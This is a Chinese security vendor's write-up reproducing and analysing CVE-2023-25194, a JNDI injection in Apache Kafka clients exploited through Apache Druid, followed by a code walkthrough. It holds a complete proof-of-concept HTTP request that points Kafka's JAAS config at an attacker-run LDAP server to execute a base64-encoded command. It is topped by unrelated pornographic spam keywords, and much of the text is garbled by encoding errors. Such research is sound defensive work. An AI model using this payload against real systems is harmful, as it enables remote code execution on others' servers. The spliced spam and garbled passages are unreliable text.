和邻居寡妇做爰免费观看_日本特黄特色大片免费视频电影_国产视频h,百合宿舍肉h文,av不卡免费看,一级片一区二区三区

提交需求
*
*

*
*
*
立即提交
點(diǎn)擊”立即提交”,表明我理解并同意 《美創(chuàng)科技隱私條款》

logo

    產(chǎn)品與服務(wù)
    解決方案
    技術(shù)支持
    合作發(fā)展
    關(guān)于美創(chuàng)

    申請(qǐng)?jiān)囉?/ul>
      Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)復(fù)現(xiàn)及分析
      發(fā)布時(shí)間:2023-08-04 作者:第59號(hào)實(shí)驗(yàn)室 閱讀次數(shù): 1627 次


      Apache Kafka是一個(gè)開(kāi)源分布式消息隊(duì)列,Kafka clients是相對(duì)應(yīng)的Java客戶(hù)端。尤其是在大數(shù)據(jù)開(kāi)發(fā)中(實(shí)時(shí)數(shù)據(jù)處理和分析)。為集成其他系統(tǒng)和解耦應(yīng)用,經(jīng)常使用Producer來(lái)發(fā)送消息到Broker,并使用Consumer來(lái)消費(fèi)Broker中的消息。Kafka Connect是到0.9版本才提供的并極大地簡(jiǎn)化了其他系統(tǒng)與Kafka的集成。Kafka Connect運(yùn)用用戶(hù)快速定義并實(shí)現(xiàn)各種Connector(File,Jdbc,Hdfs等),這些功能讓大批量數(shù)據(jù)導(dǎo)入/導(dǎo)出Kafka很方便。
      在版本3.3.2及以前,Apache Kafka clients中存在一處JNDI注入漏洞(CVE-2023-25194)。通過(guò) Kafka Connect REST API 配置連接器時(shí), 經(jīng)過(guò)身份驗(yàn)證的操作員可以將連接器的任何Kafka客戶(hù)端的“sasl.jaas.config”屬性設(shè)置為“com.sun.security.auth.module.JndiLoginModule”, LoginModule允許訪問(wèn)用戶(hù)指定的JNDI 服務(wù)提供商, 因此導(dǎo)致JNDI注入。進(jìn)而導(dǎo)致JNDI注入漏洞,執(zhí)行任意命令。



      2.4.0<=Apache kafka<=3.2.2

      其他影響:

      0.19.0 <= Apache Druid <= 25.0.0


      本次漏洞環(huán)境使用了durid,因?yàn)閐urid使用kafka-clients來(lái)連接Kafka作為其數(shù)據(jù)源之一。

      目標(biāo)靶機(jī):



      Jndi主機(jī):

      通過(guò)JNDIExploit-master開(kāi)啟一個(gè)惡意jndi服務(wù)器。


      Poc:POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: 192.168.32.129:8888Accept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1449 { "type":"kafka", "spec":{ "type":"kafka", "ioConfig":{ "type":"kafka", "consumerProperties":{ "bootstrap.servers":"127.0.0.1:6666", "sasl.mechanism":"SCRAM-SHA-256", "security.protocol":"SASL_SSL", "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.96.235:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" }, "topic":"test", "useEarliestOffset":true, "inputFormat":{ "type":"regex", "pattern":"([\\s\\S]*)", "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965", "columns":[ "raw" ] } }, "dataSchema":{ "dataSource":"sample", "timestampSpec":{ "column":"!!!_no_such_column_!!!", "missingValue":"1970-01-01T00:00:00Z" }, "dimensionsSpec":{  }, "granularitySpec":{ "rollup":false } }, "tuningConfig":{ "type":"kafka" } }, "samplerConfig":{ "numRows":500, "timeoutMs":15000 }}




      攻擊效果:

      docker exec -i -t [容器id] /bin/bash



      /tmp/success 存在證明漏洞利用成功


      由于漏洞復(fù)現(xiàn)基于durid的kafka組件,durid不支持僅支持unix、ios等系統(tǒng),故漏洞分析使用windows直接搭建kafka進(jìn)行分析。
      官網(wǎng)下載kafka 源碼解壓。
      啟動(dòng)zookeeper和server:(注意目錄不能有中文)


      bin\windows\zookeeper-server-start.bat config\zookeeper.properties
      bin\windows\kafka-server-start.bat config\server.properties


      定位分析該接口具體的代碼


      @Path("/druid/indexer/v1/sampler")
      public class SamplerResource {
      @POST
      @Consumes({"application/json"})
      @Produces({"application/json"})
      @ResourceFilters({StateResourceFilter.class})
      public SamplerResponse post(SamplerSpec sampler) {
      return ((SamplerSpec)Preconditions.checkNotNull(sampler, "Request body cannot be empty")).sample();// 43
      }
      }


      定位代碼發(fā)現(xiàn)KafkaSamplerSpec接口的sample方法具體實(shí)現(xiàn)在父類(lèi)



      sample具體的實(shí)現(xiàn)是在SeekableStreamSamplerSpec類(lèi)中。在KafkaProducer的構(gòu)造函數(shù)中,會(huì)基于properties初始化ProducerConfig的實(shí)例config,在newSender(LogContext logContext, KafkaClient kafkaClient, ProducerMetadata metadata)中創(chuàng)建ChannelBuilder:



      然后當(dāng)security.protocol為SASL_PLAINTEXT或SASL_SSL并且指定了sasl.mechanism時(shí)基于config信息?成 JaasContext的實(shí)例,然后?成 SaslChannelBuilder實(shí)例:



      在new JaasConfig(globalContextName, dynamicJaasConfig.value())中會(huì)把sasl.jaas.config中的 字符串解析成AppConfigurationEntry的實(shí)例。然后調(diào)?channelBuilder.configure(configs)?法, 后?進(jìn)入LoginManager.acquireLoginManager。

      然后進(jìn)入JndiLoginModule的login?法:userProvider以及groupProvider都不為null, 并且設(shè)置了 useFirstPass=true或tryFirstPass=true時(shí)都會(huì)進(jìn)入attemptAuthentication?法,在這?會(huì)調(diào)? InitialContext實(shí)例的lookup(userProvider)?法,從?導(dǎo)致JNDI注入。

      綜上, 只要攻擊者可以控制kafka-clients連接時(shí)的屬性, 將屬性的配置項(xiàng)security.protocol設(shè)置為SASL_PLAINTEXT 或SASL_SSL并且指定了sasl.mechanism、sasl.jaas.config值設(shè)置為 com.sun.security.auth.module.JndiLoginModule, 并且配置項(xiàng)中的userProvider以及groupProvider都不為null, 同 時(shí)設(shè)置了useFirstPass=true或tryFirstPass=true時(shí), kafka client就會(huì)發(fā)起JNDI連接, 從?導(dǎo)致JNDI注入漏洞。

      流程圖如下:


      免費(fèi)試用
      服務(wù)熱線

      馬上咨詢(xún)

      400-811-3777

      回到頂部